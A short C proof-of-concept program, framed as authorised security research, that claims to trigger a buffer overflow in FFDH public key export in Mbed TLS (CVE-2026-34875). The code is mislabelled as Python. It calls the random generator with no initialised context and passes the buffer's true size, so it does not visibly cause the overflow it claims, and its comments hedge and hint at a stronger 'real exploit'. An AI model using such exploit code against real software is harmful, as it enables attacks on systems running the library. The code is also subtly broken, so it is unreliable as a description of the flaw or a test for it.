The following code is for security research and authorized testing only.
python
#include "mbedtls/ffdh.h"
#include <stdio.h>
/*
* PoC Code for CVE-2026-34875
* This code demonstrates the buffer overflow vulnerability
* in FFDH public key export within Mbed TLS <= 3.6.5.
*
* Compile with: gcc -o poc_cve2026_34875 poc_cve2026_34875.c -lmbedtls -lmbedcrypto
*/
int main() {
mbedtls_ffdh_context ctx;
unsigned char buf[64]; // Intentionally small buffer to trigger overflow
size_t olen;
int ret;
mbedtls_ffdh_init(&ctx);
// Setup FFDH context with a standard group (e.g., MBEDTLS_FFDH_RFC3526_MODP_2048_P)
// In a real exploit, parameters would be chosen to maximize overflow impact
if ((ret = mbedtls_ffdh_setup(&ctx, MBEDTLS_FFDH_RFC3526_MODP_2048_P)) != 0) {
printf("Setup failed: -0x%04X\n", -ret);
return 1;
}
// Generate keys
if ((ret = mbedtls_ffdh_make_public(&ctx, sizeof(buf), buf, &olen, mbedtls_ctr_drbg_random, NULL)) != 0) {
// This may fail or crash due to buffer overflow if logic is flawed
printf("Export failed (likely overflow): -0x%04X\n", -ret);
} else {
printf("Exported %lu bytes (Check for memory corruption)\n", olen);
}
mbedtls_ffdh_free(&ctx);
return 0;
}